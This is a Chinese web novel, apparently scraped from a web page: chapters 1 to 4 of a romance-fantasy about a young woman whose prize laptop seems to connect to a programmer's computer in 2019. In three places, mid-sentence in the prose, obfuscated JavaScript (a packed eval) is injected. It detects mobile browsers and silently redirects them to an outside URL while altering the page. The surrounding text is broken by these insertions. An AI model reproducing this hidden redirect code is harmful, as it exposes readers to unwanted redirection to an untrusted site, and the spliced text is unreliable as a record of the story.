《我的二手电脑里有个大佬》 1. 01 炎夏是强对流天气的高发季节。 前一秒的清城还是艳阳天，下一秒整座城市就被磅礴的雨势笼罩。 程安宁被困在了一家新开的数码产品店，手里还提着刚买的菜。 确切地说，是被抽奖活动吸引，刚进店就被突如其来的大雨留在了这里。 来都来了。 程安宁随手接过店员递来的名片和宣传单，盯着上面的内容看。 这家店名叫神奇数码店，因为老板的大名叫李神奇。 开业活动期间，不需要任何消费，只要扫码加入店里的群，就可以获得一次抽奖机会，而今天是抽奖活动的最后一天。 程安宁双眼发亮，果断拿出手机扫码进群，顺利加入了抽奖队伍。 对于她这种日子过得紧巴巴的人来说，最喜欢这种没什么门槛的抽奖活动了。 重要的是，特等奖是一部笔记本电脑，目前还没有出现幸运儿。 显而易见，这是上天的指示。 她会成为那个幸运儿！ 带着满满的自信，程安宁在店员的示意下，将手伸进抽奖箱。 空手进，红球出。 程安宁从容一笑，递出手中写着“特等奖”的红球。 看吧！ 不怪她迷之自信，而是她一向在中小型的抽奖上从未失手过，她那些倒霉朋友还给她取了个外号叫“程锦鲤”和“欧皇程”。 两位店员惊了一瞬，齐声祝贺：“恭喜这位小姐抽中了我们店里的特等奖，一台笔记本电脑！” 话落，伴随着周围的惊呼声，一道道目光齐刷刷落在柜台旁的某道倩影上。 程安宁低调轻咳，尽量不让自己笑得太傻。 虽然每次参加抽奖都毫无悬念，但是得知中奖的瞬间，心里还是会像初次中奖那样兴奋。 店员很快喊来老板，由老板对接中奖事宜。 程安宁被带离抽奖的柜台。片刻后，一台黑色的笔记本电脑递到她面前，老板咧开嘴，露出一口黑黄的烟牙：“小姑娘，这就是你的奖品。” 程安宁一眼就看到笔记本电脑那难以忽视的厚重机身，不由得一愣，伸手接过。 透过店里明亮的灯光，电脑的亮面外壳上数道磨损划痕分外显眼。 打开电脑，里面的商标贴纸已经有点脱胶和褪色的迹象。再结合这宛如砖块的重量，显然不是市面上常见的轻薄款，而是被市场逐渐淘汰的旧款。 这就是……特等奖的奖品？ 程安宁抬眼正要开口，老板已经料到她想说什么，随即把一张宣传单推上前，指着上面一处地方，先发制人：“是的，这是一台翻新机，这里已经写明了。” 闻言，程安宁的视线落在他指着的位置，嘴角微抽。 只见特等奖标注的“笔记本电脑”的前面，用小n倍的字标注了“二手”这两个字，一般不注意看的话，很难发现隐藏其中的“小彩蛋”。 老板笑着搓手，为宣传单上搞的小心思辩解：“小姑娘，我们新店刚开张几天，需要搞点活动涨涨人气招揽客源。不过你也懂的，我们毕竟是小本生意，没有品牌店那么大的手笔。” “但是你别看这台笔记本电脑是翻新机，它目前还是很耐用的，可以满足基本需求，比如听歌打字看电视剧啥的是没问题的，只是配置带不动游戏。” “要求不高的话，日常还是可以用用的。如果你不想要的话，我可以给你换成一等奖的充电宝。” “不用了。”程安宁这会儿已经对手中的笔记本电脑打量完毕，态度爽快：“就这台电脑了。” 本来就是白给的。 二手不二手的，能凑着用就行，她这个人容易满足。 正好她的笔记本电脑早就报废了，这部二手电脑带回去还能当电视机用。 不一会儿，程安宁当面验货，确保笔记本电脑能够正常开机和使用后，趁着雨势变小，提着这份特等奖一路小跑回家。 好在新租的房子距离数码店不远，她走过一条街，穿过逼仄湿滑的长巷，顺利回到自己的住处。 袋子里的笔记本电脑被额外装在一个纸盒子里保护得好好的，没有被雨水打湿。 程安宁松了口气，随手将贴在脸颊前的湿发拨到耳后，把电脑放到桌上，按下开机键。 这份新玩具到手，当然是先放首歌庆祝一下了。 电脑的开机速度还算快，程安宁看了眼屏幕的右下角，日期栏显示着今天的日期：2024年8月4日，旁边电量那一栏显示百分之二十。 是该充电了。翻出盒子里的配套充电线，程安宁给电脑接上充电器，随后联上网开始下载软件。 等待之余，看着桌面默认的蓝色壁纸，她打开浏览器，找了张粉嫩的水纹壁纸换上。 这下看着顺眼多了。 许是雨天网络信号不佳，下载速度迟缓。程安宁从一开始的兴致冲冲，到后面逐渐散去了三分钟热度，最后“多动症”犯了，起身离开桌子，左右捣鼓屋里的东西。 今天是她搬到这个三十平方单间的第四天。 新住处是一栋楼龄不小的老旧宿舍楼，据说以前是公职人员的宿舍，后来规划有变便搬了，这栋宿舍楼也就对外出租了。 而这里的租金便宜和附近治安不错，并且到市区只有一条马路的距离，十分便利，对独居的她来说是最优选。 只是拖延如她，目前还没把所有行李整理好。 走到置物架，程安宁伸手摆弄上面的化妆镜。 镜子上映出一张五官精巧的白皙脸蛋，程安宁自娱自乐，对着镜子里的自己做了一个鬼脸。 下秒，镜子里映出她身后窗户一闪而过的闪电亮光，接着炸开了震耳欲聋的雷声。 程安宁吓得身子一抖。 桌上，正在充电的笔记本电脑也随着雷声的炸开而忽闪了一下，但很快恢复正常。 窗外原本渐小的雨势骤然变成瓢泼大雨，密集的雨点砸在窗户玻璃上，像有无数双手急促拍打，哐哐作响。 隔着一道窗户，屋里能够感觉到雷电闪烁的亮光，天边的闪电和雷声接连不断，像是要劈进室内才甘心。 程安宁被闪得心慌，索性快步上前，把窗帘拉上。 做完这些，她的注意力重新回到桌上的笔记本电脑。 屏幕上弹出软件下载完毕的提示，不过外边轰隆隆的雷声丝毫没有要停息的意思，她没了听歌的心情，随手把提示的窗口关闭。 身上的衣服因为回家路上淋到雨水，有些湿黏，程安宁这才注意到这一点，动身去找衣服换上。 刚把灰T恤换下，“啪”的一声，屋里的灯闪烁了一下，下秒，整间屋子陷入一片黑暗中，只余桌上那台笔记本电脑的屏幕散发出突兀的冷调白光，右下角随之弹出网络断开的提示框。 外边陆续响起其他租户的抱怨声： “我靠！电路不会是被雷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14420506|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给劈坏了吧？” “服了，这还怎么做饭啊？” “啊？网络信号也断了！！” 看样子不止她屋里停电断网。 沉住气，程安宁摸出口袋里的手机，打开手电筒照亮屋内。 这会儿已是傍晚，外边的天色已经暗下来，原本拥挤的单间一断电就像被关进密封狭小的牛奶盒里，黑压压的，让人喘不过气。 窗外雷声和雨声震天响，即便是停电，也没有人会选择在这种时候出门。 屋里没有燃气，停电就意味着没办法做晚餐，程安宁把目光转向门后的角落，手电筒的光亮紧随其后，照亮了角落里数个未拆封的快递纸箱，那些是她在线上参加各种活动抽奖得到的奖品。 程安宁眸光微动，翻出剪刀，从其中两个快递里拆出一箱吐司面包和酸奶。 今晚的晚餐就拿它们凑合了。 咬着干巴巴的吐司，程安宁关闭手机的手电筒，坐在地板上发呆，视线落在前方的窗户上，隔着碎花窗帘也能看到时不时亮起的闪电。 像是雨天潮湿的水汽透过墙飘进屋内，扩散在了空气中，眼角也不自觉染上湿意。 她已经数不清这是独自度过的第几个断电的雷雨天。 记忆中断电的雨夜，墙上映着烛光跳动的影子，桌上有她父母的拿手菜和一屋的欢声笑语。 只是，这些年无数个孤独压抑的日夜，已经快要覆盖曾经获得的那些幸福的真实感，如今她觉得自己更像是一具毫无生气的躯壳，仅仅是在为了维持生命体征活着而已。 暴雨渐渐停歇，电力在晚上九点左右恢复正常。 程安宁总算可以洗个热水澡。 卫生间内的电压不稳，节能灯的光微微闪动，程安宁生怕再次停电，加快洗头的速度。 屋内只开了盏暖橘色的台灯，原木色的地板上快递箱半敞，淅沥沥的水声从卫生间内传来，倒多了几分生动的生活气息。 桌上，笔记本电脑已经自动恢复为充电模式。 只是不知何时，桌面粉色水纹的壁纸变回了原先默认的蓝色壁纸，左下角的日期也变成了2019年8月4日。 而无人的电脑前，桌面上的鼠标箭头自行移动，双击点开了文档。接着，在没人敲击键盘的情况下，文档上凭空蹦出一个个文字…… 程安宁擦拭着湿漉漉的头发从洗手间出来，顺势坐到了笔记本电脑前。 下秒，看到屏幕上莫名其妙开着一个带有文字的文档界面，她愣了愣，眸光疑惑。 这是电脑程序出bug了吗？ 粗略扫了眼文档上的内容，是晦涩枯燥的什么公司项目之类的内容，显然跟她没关系。 应该是出bug没错了，程安宁的手放到触控板上，移动鼠标的箭头图标到右上角，点下关闭。 电脑弹出【是否保存】的提示，程安宁毫不犹豫地点下【否】。 下秒，电脑顺利回到桌面。 看到默认的蓝色壁纸，程安宁再次一愣，随后皱眉换回自己选的那张新壁纸。 …… 另一时空。 2019年8月4日晚上九点三十分。 静谧的办公室内，梁彦眼睁睁看着桌面的鼠标自行移动，关闭了编辑到一半的文档，清隽的脸庞上鲜有的泛起错愕，双手僵在了键盘上。 没等反应过来，桌面一闪，雪上加霜似的，变回了刚才被他换掉的粉嫩水纹壁纸。 2. 02 雨夜悄然落幕，残留在窗户上的水珠被亮起的晨光蒸发。 程安宁关掉手机闹钟，打着哈欠从床上爬起来。 手机上显示早上八点，屏幕上弹出提醒事项：上午十点面试。 还有两个小时的时间，除去洗漱和早餐，还能预留出收拾屋子的时间。 倒不是她有多勤快预留出了打扫卫生的时间，而是下午会有好姐妹过来拜访，至少要腾出可以让人家落脚的地方。 放下手机，程安宁起床洗漱，随手拿了昨晚拆封的吐司和酸奶当早餐，去到桌前坐下。 桌上的笔记本电脑充了一晚上的电，满格的电量栏自带安全感，程安宁嚼着吐司，手落在触控板上点亮屏幕，打开昨晚下载的音乐播放软件。 软件自动播放了一首抒情的英文歌，恰好是自己熟悉的，程安宁懒得切换，索性就这样听着，继续低头啃吐司。 与此同时，电脑屏幕上，原本停留在音乐app界面的鼠标指针自行移动，关闭了正运行的软件。 悠扬的歌声戛然而止，程安宁疑惑抬眼。 下秒，就见屏幕上的鼠标在自己的眼皮底下默默移动，点开了桌面的文档图标。 很快，屏幕上弹出文档的编辑界面，一个个字母随之凭空蹦出来组成了单词，是晦涩难懂的专业术语之类的内容，并且没有停下的趋势。 这……电脑程序又出错了？ 程安宁愣了一瞬，随后反应过来，伸手放到触控板操控鼠标，果断关闭文档界面。 在被关闭的最后一秒，文档仍在自动编辑内容。 回到电脑桌面，程安宁的手指刚离开触控板，就见屏幕上的鼠标箭头再次自行移动，重新创建文档，继续凭空蹦出英文。 程安宁疑惑皱眉，再次关闭桌面冒出的文档。 只是，电脑像是跟她像较上了劲儿，在关闭的下一秒又新建文档编辑内容。 人有时候真的能做出一些连自己都觉得匪夷所思的事情来，比如此刻的犟种程安宁，直接跟这台电子设备杠上了。 一般的解决办法是尝试重启电脑，她愣是盯着屏幕的动静，在文档的下一秒就果断关闭它的界面。 最终，桌面上的文档反复开关六次，总算消停了。 程安宁神色诧异，拿起旁边的酸奶喝了一口，身子后仰靠到椅背上。 她原本没指望发神经的电脑会恢复正常，刚才做这种无意义的较劲的过程中，她冷静下来想着直接关机算了，倒没想到电脑会先没了动静。 只是，电脑现在看着没事了，但是保不准下次又会在哪个时候突然出问题。毕竟昨天傍晚才拿到手，都还捂热呢，昨晚和今早就都出现问题了，这概率未免太高了。 思索片刻，程安宁决定把电脑带回昨天那家店检修。 于是，她两三口解决早餐，极快地打扫了屋子，随后又雷厉风行换了身衣服，带上电脑出门。 到了店里，程安宁直接找到老板，把电脑的情况说了一遍。 听完描述，老板神色有些匪夷所思地问：“你的意思是说，这台笔记本电脑在没有人碰它的情况下，鼠标的指针自己移动，还打开文档编辑内容？” 程安宁把带来的笔记本电脑放到柜台上，严谨点头：“是这样。” 鉴于她看上去就是认真又老实，还长得挺漂亮的一小姑娘，不像会骗人，老板打开笔记本电脑，皱眉嘀咕：“奇怪了，之前翻新后用过一两次，没有发现这种情况啊。” 程安宁神色若有所思，随即问到重点：“老板，这台电脑有保修期吗？” 虽然她不愿意把人想得那么坏，但是要花钱修这台二手电脑的话，她都要怀疑这部电脑是不是本身有毛病，专门让她这个中奖的大冤种返店掏钱维修。 程安宁担心的事情，数码店老板也想到了。 新店开张，正是需要积攒客源、打出好口碑的时候，老板也怕这事儿会被曲解，很快积极地提出解决方案：“一般来说，我们店的奖品是没有保修服务的。不过你昨天刚领走就出问题了，我们店可以赠送你一次免费维修的机会。” 程安宁这才放下心来，会意点头：“行，那电脑先放你这儿了，我还有事先走了，等忙完再过来。” 老板打了一个OK的手势：“慢走。” 离开数码店，程安宁直接往面试地点赶。 一公里的距离，对精打细算的她来说，还不至于花钱用在交通上的地步，直接走过去就行了。 她习惯每换一个住处就换一份工作，而新工作必须在她新住处的周边。 这么做的原因很简单：方便每天上下班，还能节省路费这一方面的开支。 反正她干的又不是什么高薪精英职位，心境也早在当年那件事情后发生了巨变，不再有什么远大抱负。 工作嘛，换哪儿都一样，只要能挣点钱满足自己的日常开销就够了，其余的因素她不会去考虑，也懒得去想。 等了一个红灯，再经过密集的商铺一条街就到了一家奶茶店。 因为以前兼职摇过奶茶，今天的面试过程很顺利，店长说明天就可以上班。 找工作的事情就此解决，程安宁心情明朗，欣然应下。 结束上午的行程，程安宁在周围转了转，大致熟悉一下环境。 临近中午，她回到数码店看看电脑的情况。 老板招呼她到维修台，递出那台笔记本电脑：“小姑娘，我和店里另外一位维修师傅都给这台电脑全面检查过了，没有发现任何问题。” 程安宁闻言诧异，发出疑问：“既然它没有问题的话，为什么会出现那样的情况？” 老板神色无奈：“我们也纳闷啊，不过讨论之后，我们给电脑重装了系统，现在更不可能会有问题了。” 有他这一句保证，程安宁放下心来，抱起电脑告别：“行，谢谢老板！” 老板摆手，递了一张名片给她：“不用客气，后续要是用坏了可以带过来维修，我给你打折。” “好嘞！”程安宁笑着接下，抱着电脑离开。 一台二手笔记本电脑，要是真到了没办法使用的程度，她还是不费这个钱维修了。 回到家，程安宁试着打开笔记本电脑。 丝滑开机和联网，又顺利下载了自己想要的软件和换上喜欢的桌面壁纸，一切都还挺正常的。 看样子真的没问题了。 程安宁心满意足地起身烧水，从旁边的柜子里找出一桶泡面当午餐，又回到电脑前坐下。 吃东西自然少不了电子榨菜，程安宁随即用电脑登录影视软件的账号。 右上角冒出会员到期提示，还有半年的时间。 这是她之前参加线上抽奖得到的年会员，不然平日里花钱充个月会员她还得犹豫上一阵子。 看了眼电脑桌面右下角的日期，2024年8月5日12点05分，距离她下午的行程还有两个多小时的自由时间。 程安宁随即开启吃泡面刷剧模式。 下午两点，一阵突兀的敲门声响起。 程安宁按下空格键暂停了电影，起身离开桌前。 刚打开门，迎面而来的是一个热情的拥抱。 叶思蕾紧紧抱住她，声音掩不住的开心：“我的小橙子，惊喜吗？” 程安宁微愣，笑着回抱她，轻拍后背问：“不是说两点三十分在街角碰面吗？你怎么提前半个小时了？” 叶思蕾松开她，神色得意：“我来之前就查过你给我的地址了，发现不难找，干脆自己找过来给你一个惊喜，厉害吧？” 说着，把手中提着的奶茶和零食塞到她怀里，探头看向她身后问：“这就是你新租的屋子啊？看着比你上次那间蘑菇屋好多了。” 程安宁轻笑，拿稳东西从门口让开，招呼她进屋：“你不是让我等你来了再点外卖吗？怎么还自带下午茶了？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14420507|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她住的上一个房子因为室内潮湿的缘故，墙角长了蘑菇，恰好被登门做客的叶思蕾看到了，遂有了“蘑菇屋”这个外号。 “这不是顺路嘛，就干脆买了，也省得还要纠结和等外卖。” 叶思蕾边说边换下鞋子，目光在她全身上下扫了一遍：“最近有好好吃饭吗？怎么感觉你又瘦了？” 程安宁挑眉：“错觉。” 叶思蕾挪步走到屋内，看到里边的家具物件，差点两眼一黑。 只见三十平方的小屋，又摆着她所熟悉的各类“破烂”。 比两人年龄还大的老式棕红柜子，表面早已脱漆斑驳。茶几还是那张从倒闭的咖啡店低价收来的小圆桌，旁边放着一个用快递纸箱改造的简陋垃圾桶，地上还有当做擦脚布的旧衣服，奶茶袋和各种盒子改造的收纳盒随处可见。 连之前两人散步，程安宁在路上捡的爆皮沙发还好好地贴墙放着。 还有桌上，她都不想说，那该死的1.5升可乐塑料瓶剪成了两半，直接当水培盆用来养绿萝。 一件两件也就算了，可是满屋子都是各种瓶瓶罐罐改造的东西，简直就是一个废品收集点。 叶思蕾果断转头吐槽：“橙子，不是我说你，你这一屋没用的东西赶紧都扔了吧！我还以为你搬家后就不用再见到它们！” 程安宁看了一圈屋内，表示不服：“这个屋里最没用的东西只有我。” 在她看来，全都是有用的。 柜子沙发什么的她早在捡到的时候就清洗消毒过了，还用洗干净的旧床单裁成了桌布和沙发布，直接往上面一盖，不都像模像样的。 反正不用花钱，能凑合着用就行了。 叶思蕾一噎，差点气笑：“你这满屋子的破烂，小偷进来都想倒贴两百给你。” 说到这，目光扫过她桌上的笔记本电脑，面色诧异：“哦，还有一台笔记本电脑啊，那倒是能让小偷心动。是新买的吗？” “No！”程安宁摇头，得意地轻抬下巴：“是本锦鲤依旧发挥稳定，抽奖中的。” 闻言，叶思蕾双眼发亮，顿感佩服：“这次中这么好的东西啊！我看你干脆靠抽奖发家致富算了，别老是往外边捡东西回来了。” 程安宁无奈耸肩，“我也想啊，可惜我没有中大奖的命。” 顿了顿，她把叶思蕾带来的东西放到茶几上，嘴边不忘为自己正名：“再说了，我不是什么都捡好吧，是有二次利用价值的才会拿回来，你别说得我好像热衷捡垃圾似的。” 叶思蕾忍不住白眼，一屁股坐到沙发上，“热不热衷，反正都改变不了你喜欢捡垃圾的事实。” “真是的，你就没想过万一捡到不干净的东西，会有脏东西缠上你啊？一些老物件容易附着鬼魂，鬼片不都是这样演的吗？” 说到最后，她眯着眼，伸直双手扮幽灵靠近程安宁。 程安宁被逗笑了，一脸无语地压下她的胳膊：“少来，我们又不是在拍鬼片！再说了，你觉得我连穷都不怕，还会怕鬼吗？” 说是这么说，但后背还是因为好姐妹的话莫名升起一丝寒意，全身毛毛的，目光忍不住往自己捡来的那些东西上瞥。 这……不可能吧？她都用了那么久了，一直都好好的，没发生什么灵异事件。 枯燥乏味的日子偶尔需要八卦的调剂，叶思蕾没在这个话题上继续聊下去，很快切换到八卦上。 两人是高中兼大学同学，关系好到上一秒吵架红脸，下一秒就能自然和好的程度，即便是在毕业后成为社畜，每个月还是会特地为对方空出时间见面，有关熟人的八卦永远讲不完。 叶思蕾简直像是掌握第一手资料的八卦记者，总能知道各种新鲜和劲爆的八卦，程安宁听得津津有味。 两人聊得兴起，一同笑出鹅叫，丝毫没注意到不远处的桌上，笔记本电脑的屏幕无声闪了一下，右下角的日期悄然变成了2019年8月5日…… 3. 03 梁彦最近遇到一件奇怪的事情。 他发现自己的笔记本电脑会莫名其妙亮起屏幕，桌面上会出现他从未下载过的软件，壁纸还自行变成了粉嫩的风格。 除此之外，他这两天在电脑上编辑文档的时候，文档的界面会被突然关闭，要不就是编辑到一半的内容在毫无征兆下被清空。 这种情况已经影响到他的日常工作了。 他自己排查过笔记本电脑出现这种情况的原因，只是没有看出问题。 “老大，我带着你的电脑跑了三家店，都说没问题，我给你拿回来了。” 紧闭的办公室门倏然被推开，刘志辉大喇喇走了进来，把手中的电脑包放到桌上。 梁彦停下手中的工作，拧眉看他：“怎么可能没有问题？” 刘志辉在他对面的椅子坐下，无奈摊手：“不同的店、不同的维修师傅，却都说了同个结论。而且你自己不也检查过说看不出问题吗？可能真的没问题。” 梁彦蹙眉加深，伸手打开电脑包，把里面厚重的笔记本电脑拿出来。 亮面的黑色外壳自带反光效果，映出他清隽帅气、棱角分明的脸庞。 刘志辉随手搭在桌上，一手撑着下巴，望着他手中那台黑色笔记本电脑，又看了看桌上那台高级配置的电脑，一脸不解：“老大，你都有一台高配置的电脑了，为什么还要用这台旧电脑？没记错的话，你说过这台笔记本电脑是你高中用的吧？到现在还不打算让它退休啊？” 梁彦打开笔记本电脑，淡声解惑：“这两台电脑对我来说各有用处。” 一台专门用于公司技术的开发工作，一台是专门用来编辑和保存工作上的文字文件，分工明确。 两人正说着话，另一人走了进来，脸上堆着阳光清爽的笑：“彦哥，这次的项目全靠你带飞，今晚我请公司的人吃大餐，你是重要人物，别缺席啊！” 梁彦刚按下开机键，闻言，目光从电脑屏幕上移开，看向来人回话：“这次也少不了你的功劳，还是我请吧。” 刘志辉嘴角抽搐，摸了摸自己的胳膊吐槽：“真是受够了你们两个高手在我面前装！” 一个技术型大佬梁彦，一个钞能力大佬贺明，而资质平平的他，是被两位好兄弟拉拢着加入创业队伍的。 于是，由梁彦和贺明这两位主心骨创办的名为未来科技的公司就这样成立了。 虽然目前庙小，组建的团队成员也不多，几乎是初出茅庐的同龄人，但都是梁彦看好的人才。当然，也包括他。 在贺明主外，梁彦主内的带领下，成立了半年的公司正处于稳健的发展阶段。 贺明爽朗大笑，拍了拍他的肩膀：“辉哥，这次团队合作也多亏了你。” 刘志辉抓开他的手，笑骂：“你小子少来！这种客套话大可不必！” 贺明看到桌上那台厚重的黑色笔记本电脑，很是大方地做出保证：“彦哥，等这次项目的款项到账了，我给你安排一台新的备用电脑！” 刘志辉积极举手：“贺总，我也要。” 十平米的办公室这会儿因为塞了三个大男人而显得拥挤，梁彦没有加入闲聊，而是微笑着下逐客令：“我要继续忙了，你们也都去忙吧。” 刘志辉心领神会，果断起身，一手勾住贺明的脖子，带着他转身：“OK，他嫌我们烦了，我们该走了。” 梁彦这人只有两种情况会笑，一是搞定项目时真心实意的笑，二是觉得人烦的时候露出的微笑，只有他这个兄弟能读懂那抹微笑背后有种“趁我还在微笑，请你们好自为之”的意思。 显然，这会儿是嫌他们妨碍到他工作了。 贺明回头，提醒了一句傍晚六点不要缺席。 梁彦会意点头，同时提醒他们一句：“门记得关。” 很快，随着门的关上，办公室内恢复原有的静谧。 梁彦揉了揉眉心，注意力重新回到眼前的笔记本电脑，修长的手指落在触控板，顺利点进电脑桌面。 下秒，熟悉的粉嫩水纹壁纸落入视线，电脑桌面上还多出了数个软件图标，梁彦太阳穴突突直跳。 这台电脑像是没问题的样子吗？ - 程安宁和叶思蕾一直宅到傍晚。 两人都是懒得出门的那类人，整个下午不是窝在沙发上聊天，就是换到床上躺着玩手机。 晚餐时间，是靠外卖解决的。 吃饱喝足，到了晚上八点，嘻嘻哈哈的氛围就被一阵突兀的敲门声打破。 程安宁打开门，看到一位年龄相仿，脸上堆笑的年轻男子。 这个人她不陌生，是她好姐妹叶思蕾的男朋友——董毅。 这对小情侣交往的三年里，只要一吵架就少不了她出面当和事老。 看到她这个“小丈母娘”，董毅客客气气地跟她打招呼：“安宁，打扰了，我是来接蕾蕾的。” 程安宁会意点头，回头看向屋内沙发上躺着玩手机的叶思蕾，出声提醒：“叶子，你男朋友来了。” 说完，她侧身让出一条路，放董毅进屋。 叶思蕾收起手机，不情不愿地坐起身，看着进屋的董毅道：“要不你回去吧，我想留在这里过夜。” 董毅无奈笑笑，上前提起她旁边的包包哄道：“下次吧。你不是跟我说，你跟主管保证这是这个月最后一次请假吗？” 程安宁无声地打了个哈欠，靠在墙边接过话：“回去吧叶子，我们有空再约。我忘了告诉你，我明天要开始上班了。” 叶思蕾顿时打起精神，神色诧异：“这么快找到工作啦？我最近还让董毅帮你留意一下呢。” 程安宁眼里泛起暖色，“谢谢你们的好意，我已经在这附近找了份摇奶茶的工作了。” 闻言，叶思蕾眉头微皱，神情复杂：“你前两份工作不是在面包店打杂就是咖啡店，确定不找份专业对口的工作吗？你明明在外语方面的能力那么好，连老师都很看好你。” 她还记得，当年刚上大学时的程安宁满怀憧憬，信誓旦旦地说以后要当一位优秀出色的翻译。 那个时候的程安宁意气风发，明艳张扬。 可是后来一场重大的意外，让程安宁与自己原本规划的未来越走越远，甚至丧失斗志，行尸走肉般地混日子。 她所熟悉的程安宁不应该是这个样子的。 “在找工作上，我还是比较喜欢综合各方面因素再做出选择。”程安宁回答了她的话。 也就是说，她没有什么追求，相比起具有挑战性、专业对口的工作，现在的她倾向于就近选择一份能凑合养活自己的工作就够了。 叶思蕾叹了口气，明白自己没有权利干涉她的人生，有些话只能点到为止。 和每次见面结束一样，两人最后抱了抱对方，约好了下次见面。 离开前， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14420508|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶思蕾不忘用打趣的语气提醒道：“别再往家里捡东西了哦，小心真的出现鬼片剧情。” 程安宁笑了笑，语气不以为意：“别拿我当小孩子吓唬了，要是真会出现，我倒是想见识一下。” 叶思蕾气笑，让她这种话不要乱说。 送走叶思蕾这对小情侣，程安宁关上门，转身就拿上睡衣洗澡。 等到重新在电脑前坐下，已经是晚上十点。 电脑因为好几个小时没碰过，已经自动息屏。 程安宁擦拭着湿漉漉的头发，腾出一只手放在触控板上，准备把下午看到一半的电影继续看下去。 轻轻双击，电脑屏幕亮了起来。 电脑自带的蓝色壁纸冷不防撞入视线，程安宁动作一顿，只见原本理应存在的视频页面，不知何时回到了电脑桌面，而她原本换上的壁纸，以及下载的那些软件全都消失得无影无踪，只剩下自带的软件，整个电脑桌面空荡荡的，就像刚经历了刷机。 这是……又出问题了？ 程安宁无语地闭了闭眼，索性收回手没再碰，就坐在原地擦头发，神色若有所思。 白天这台笔记本电脑已经拿到店里看过了，人家老板说没有发现问题，还给重装了系统。 可是现在电脑还是出问题了，感觉是没有折腾的必要了，还是干脆拍照放到二手网站卖了算了。 想到这，程安宁拿起一旁的手机，打开相机模式对准面前的笔记本电脑。 发亮的电脑屏幕在手机的相机里一时无法焦距，只能手动调整。 刚可以照清手机镜头里的电脑，程安宁就透过手机看到电脑桌面上的鼠标指针自行移动，双击点开了文档的编辑界面。 紧接着，又凭空蹦出一个个文字，貌似在编辑工作报告之类的内容。 程安宁瞳孔一缩，脑海里不自觉响起叶思蕾的话：“你就没想过万一捡到不干净的东西，会有脏东西缠上你啊？” 人家专业人士没看出这台笔记本电脑有什么问题，偏偏她带回家就又出问题。 这……该不会真被叶思蕾说中了触发鬼片剧情吧？ 这个从未浮现的假设闪过脑海，程安宁呼吸一颤，猛然扭头看向屋内四周，眼神不安地在那些旧物件上乱瞥。 刚洗过的长发湿哒哒地贴着脖子和肩膀，上面残留的水珠顺着发梢滑落，渗透到身上的T恤。 单薄微湿的布料粘着肌肤，明明是闷热的夏天，却激起一阵无形的寒意。 一旦认为是跟灵异方面有关的事情，就会控制不住地往那个方向猜想。 程安宁不由得发毛，整个人僵坐在原地，眼珠子来回转动。 不对！没道理是她捡的家具有什么脏东西啊，都用了好久了，她压根没遇到过什么灵异事件！ 眼下唯一值得怀疑的，就是她刚搬的这个房子或许是间凶宅！ 没错了，她就知道那天捡到的红色符纸有问题！上周她搬进来的那天打扫卫生，在屋门后捡到一张红色符纸，上面写的字鬼画符似的她看不明白，门框上还有被粘过的痕迹，只是那会儿她没多想，直接扔到垃圾桶里了。 想到这，程安宁心脏狂跳，余光瞥见电脑屏幕上仍在自动输入内容，紧张得咽了口唾沫。 为了验证自己的设想是否正确，她做了一番心理斗争，在静谧的屋内弱弱出声：“那个……真有鬼的话，能不能在电脑上扣个1？” 4. 04 - 另一边，夜幕低垂。 梁彦坐在办公室的电脑前办公，深邃的黑眸透着专注。 修长且骨节分明的双手流畅地在键盘上敲动，随着文档内容的顺利编辑，电脑没再出现自行关闭文档的情况，他悬着的心稍稍放下。 今晚他特地给这台笔记本电脑重装了系统，把上面的软件和设置全都清空了，现在电脑是能正常使用了。 不过，以防万一，他还是边写边进行保存的。 就在文档即将编辑完毕，眼前的电脑屏幕突然一暗，毫无征兆地黑屏。 原本还在键盘上敲打的双手一僵，梁彦深呼吸一口气，无奈闭眼。 看样子问题还是没有解决。 或许这台笔记本电脑真的到了该退休的时候了。 随后，他打起精神，把这台旧笔记本电脑推到一旁，打开另一台笔记本电脑。 办公室外传出一阵脚步声，在静谧无人的公司里分外清晰。 随着脚步声的靠近，梁彦抬眼，看见一道身影在办公室的磨砂玻璃门外停下。 下秒，门被推开，刘志辉带着酒气推门进来，看到他就开始抱怨：“彦哥，你怎么先回来了？今晚贺明的朋友们也过来捧场了，结果饭刚吃完你就先走了，多没劲儿啊？” 梁彦解释：“我还有工作没处理完。” 刘志辉啧了一声，径直走到办公桌前：“工作是做不完的，就不能先放放么？” 梁彦给他的感觉，一直是那种游离在热闹的烟火气之外的人，即便身处繁华的一线都市，有着体面的工作和身份，却好像跟身边的环境链接不强，总是处于一种抽离的状态。 比如今晚，大家坐在同一家豪华餐厅吃饭，推杯换盏，有说有笑，唯独梁彦总是淡淡的，好像什么都不在乎，只是安静吃饭，安静离场。 